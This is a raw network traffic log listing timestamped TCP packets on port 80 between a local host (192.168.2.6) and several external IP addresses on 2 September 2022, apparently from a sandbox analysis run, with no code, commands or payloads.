Sep 2, 2022 14:02:21.886524916 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.886542082 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.886555910 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.886570930 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.886579990 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.886599064 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.886607885 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.886627913 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.886637926 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.886658907 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.886670113 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.886687994 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.886717081 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.886728048 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.886745930 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.886759043 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.886790991 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.886797905 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.886823893 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.886838913 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.886852026 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.886864901 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.886879921 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.886889935 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.886908054 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.886918068 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.886938095 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.886955023 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.886967897 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.886998892 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.887001038 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.887020111 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.887032032 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.887053967 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.887079000 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.887096882 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.887109041 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.887120962 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.887137890 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.887167931 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.887168884 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.887196064 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.887196064 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.887212992 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.887226105 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.887250900 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.887254000 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.887291908 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.887299061 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.887326002 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.887363911 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.887367964 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.887372971 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.887401104 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.887414932 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.887429953 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.887444019 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.887458086 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.887485027 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.887501001 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.887552023 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.887558937 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.887584925 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.887619019 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.887635946 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.887636900 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.887677908 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.887681007 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.887722969 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.887733936 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.887763977 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.887765884 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.887811899 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.887823105 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.887861967 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.887861967 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.887896061 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.887902021 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.887934923 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.887960911 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.887974024 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.888009071 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.888026953 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.888035059 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.888067961 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.888072014 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.888109922 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.888144016 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.888166904 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.888170958 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.888183117 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.888202906 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.888228893 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.888237953 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.888276100 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.888282061 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.888305902 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.888328075 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.888335943 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.888351917 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.888358116 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.888375998 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.888389111 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.888400078 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.888401985 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.888427019 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.888442993 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.888449907 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.888477087 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.888480902 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.888498068 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.888508081 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.888524055 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.888529062 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.888549089 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.888551950 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.888573885 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.888597965 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.888600111 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.888606071 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.888621092 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.888636112 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.888647079 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.888667107 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.888686895 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.888703108 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.888709068 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.888709068 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.888711929 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.888731956 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.888747931 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.888756990 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.888787031 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.888791084 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.888809919 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.888816118 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.888834953 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.888839006 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.888859034 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.888868093 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.888881922 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.888890028 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.888906956 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.888911963 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.888931036 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.888935089 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.888947964 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.888955116 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.888978958 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.888993979 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889002085 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889028072 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889029980 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889056921 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889061928 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889080048 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889084101 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889102936 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889108896 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889126062 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889132023 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889151096 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889156103 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889172077 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889180899 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889194012 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889210939 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889218092 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889230967 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889240980 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889247894 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889266014 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889270067 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889288902 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889293909 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889312029 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889318943 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889338970 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889345884 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889362097 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889367104 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889384985 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889391899 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889408112 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889414072 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889431953 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889452934 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889455080 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889458895 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889468908 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889477015 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889496088 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889499903 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889518976 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889523029 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889538050 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889545918 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889568090 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889590025 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889597893 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889612913 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889619112 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889640093 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889642000 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889667034 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889672041 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889693022 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889694929 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889715910 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889738083 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889740944 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889758110 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889764071 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889780045 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889786005 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889803886 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889808893 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889825106 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889832020 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889844894 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889854908 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889869928 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889878035 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889894962 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889899969 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889918089 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889921904 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889938116 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889945984 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889957905 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889966965 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.889981031 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.889991045 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.890013933 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.890028954 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.890038013 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.890048027 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.890058994 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.890070915 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.890081882 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.890088081 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.890109062 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.890111923 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.890136003 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.890136003 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.890158892 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.890158892 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.890180111 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.890181065 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.890199900 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.890202999 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.890221119 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.890224934 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.890239954 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.890247107 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.890264034 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.890268087 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.890285969 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.890291929 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.890307903 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.890324116 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.890346050 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.890347958 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.890367031 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.890369892 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.890386105 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.890391111 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.890403986 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.890415907 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.890428066 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.890439987 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.890464067 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.890470028 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.890495062 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.890518904 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.890541077 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.890552998 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.890563011 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.890583038 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.890590906 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.890607119 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.890614033 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.890630007 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.890638113 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.890656948 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.890683889 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.890687943 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.890708923 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.890729904 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.890742064 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.890753984 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.890759945 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.890778065 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.890799046 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.890821934 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.890857935 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.890862942 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.890892982 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.975373030 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:21.975594044 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:21.975729942 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.023178101 CEST	49788	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.030312061 CEST	80	49786	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.030390978 CEST	49786	80	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.071297884 CEST	80	49788	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:22.071330070 CEST	80	49788	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:22.071372032 CEST	80	49788	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:22.071398020 CEST	49788	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.071413994 CEST	49788	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.085977077 CEST	49788	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.086121082 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.093585968 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.094336987 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.130173922 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.134155989 CEST	80	49788	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:22.145646095 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.145680904 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.145703077 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.145725012 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.145735025 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.145756006 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.145764112 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.163047075 CEST	49789	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.164717913 CEST	49790	80	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.164731979 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.165066957 CEST	49791	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.190371990 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.190398932 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.190417051 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.190433979 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.190449953 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.190457106 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.190466881 CEST	80	49768	62.204.41.123	192.168.2.6
